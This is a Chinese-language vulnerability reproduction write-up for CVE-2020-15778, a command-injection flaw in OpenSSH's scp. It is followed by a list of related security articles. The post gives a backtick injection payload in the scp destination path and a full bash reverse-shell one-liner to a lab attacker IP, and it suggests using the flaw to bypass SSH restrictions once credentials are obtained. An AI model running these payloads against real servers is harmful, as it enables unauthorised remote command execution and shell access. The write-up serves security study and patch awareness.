CVE-2020-15778 Openssh命令注入漏洞复现

简介: scp是用于在计算机之间复制文件的程序。它使用SSH协议。在大多数Linux和Unix发行版中默认都包含它。

一、关于SCP:


scp是用于在计算机之间复制文件的程序。它使用SSH协议。在大多数Linux和Unix发行版中默认都包含它。

漏洞标题:OpenSSH 8.3p1中的scp允许进行eval注入

发现人:Chinmay Pandya

产品:Openssh

受影响的组件:SCP

漏洞版本:<= openssh-8.3p1

CVE编号:CVE-2020-15778


根据漏洞发现者的github,指出漏洞出现在此处989行代码,可进行命令注入



二、漏洞复现:

测试环境:centos7,ssh版本如下:



1、scp基础用法:


scp test.txt test@192.168.136.133:/tmp/test2.txt

命令解析:将test.txt文件上传到192.168.136.133的/tmp 目录下的 test2.txt


但是前提是要知道ssh的密码



2、poc payload:


scp  /sourcefile remoteserver:'`touch /tmp/exploit.sh`/targetfile'

在向远程主机拷贝文件时,文件的路径会追加到本地scp命令后,当执行本地scp命令时,scp不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效scp命令时,本地shell还将执行反引号中的命令


SCP支持带有“ -r”选项的目录传输。由于linux允许在文件名中使用反引号(`)。攻击者可以在文件名中创建有效负载,并且当受害者将完整文件夹应对到远程服务器时,该文件名中的有效负载将执行。


利用实例:


scp test.txt test@192.168.136.133:'`touch /tmp/exploit.sh`/tmp/test1.txt'

``是执行的命令


exploit.sh成功被创建:



3、直接反弹shell:


scp test.txt test@192.168.136.133:'`bash -i >& /dev/tcp/192.168.136.129/7777 0>&1`/tmp/test3.txt'

反弹shell成功:



三、实际环境中的利用方案以及场景:

对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。也就是说,实际中通过各种手段获取到了ssh的用户密码,但是不允许ssh连接,或者ip等各种限制,可以尝试此漏洞进行利用


参考链接:

https://github.com/cpandya2909/CVE-2020-15778/

目录
相关文章
|
9月前
|
安全 Shell 网络安全
OpenSSH ProxyCommand命令注入漏洞(CVE-2023-51385)
enSSH存在命令注入漏洞(CVE-2023-51385),攻击者可利用该漏洞注入恶意Shell字符导致命令注入。
1314 1
|
SQL 安全 前端开发
PostgreSQL 高权限命令执行 (CVE-2019-9193)漏洞复现&实战
PostgreSQL 高权限命令执行 (CVE-2019-9193)漏洞复现&实战
|
安全 前端开发 JavaScript
【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933
【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933
605 0
【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933
|
PHP
Burp Post、Get数据包转为上传multipart/form-data格式数据包
方法一: 新建一个网页进行上传,代码代码如下:   方法2: Burp Post、Get数据包转为上传multipart/form-data格式数据包工具:http://nnz.nz/multipart.php
3296 0
|
安全 Ubuntu Shell
Vulhub靶场搭建
安装Docker 在安装、使用Docker的过程中出现错误比较多,所以这一节来说明一下如何正确安装最新版本的Docker,(国内机器)并且配置加速器。 一键安装Docker 这是推荐方式。在未安装过Docker的机器上,root权限执行如下命令即可一键安装最新版Docker: curl -s https://get.docker.com/ | sh 如果你已经安装过老版本Docker(且不是用这个一键安装脚本安装的),请先卸载Docker(例如sudo apt purge --autoremove docker.io)。 如果你不想使用这种方式安装Docker,也可以使用系统自带的包管理工具来
657 1
|
9月前
|
安全 网络安全
允许Traceroute探测漏洞和ICMP timestamp请求响应漏洞解决方法(三)
允许Traceroute探测漏洞和ICMP timestamp请求响应漏洞解决方法(三)
864 0
|
数据采集 安全 Java
Web 漏洞扫描之 BurpSuite(一)| 学习笔记
快速学习 Web 漏洞扫描之 BurpSuite(一)
1658 0
Web 漏洞扫描之 BurpSuite(一)| 学习笔记
|
Linux 数据安全/隐私保护
通过jumpserver传输文件到linux服务器
通过jumpserver传输文件到linux服务器
2261 0
通过jumpserver传输文件到linux服务器
|
9月前
|
安全 Linux Shell
快速制作OpenSSH9.6p1的EL7版本rpm安装包
快速制作OpenSSH9.6p1的EL7版本rpm安装包
934 0
|
Ubuntu 开发工具
Ubuntu不能上网解决办法
Ubuntu不能上网解决办法
777 0